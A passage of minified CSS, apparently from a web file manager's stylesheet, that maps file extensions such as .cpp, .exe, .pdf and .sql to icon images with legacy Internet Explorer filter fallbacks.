\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none 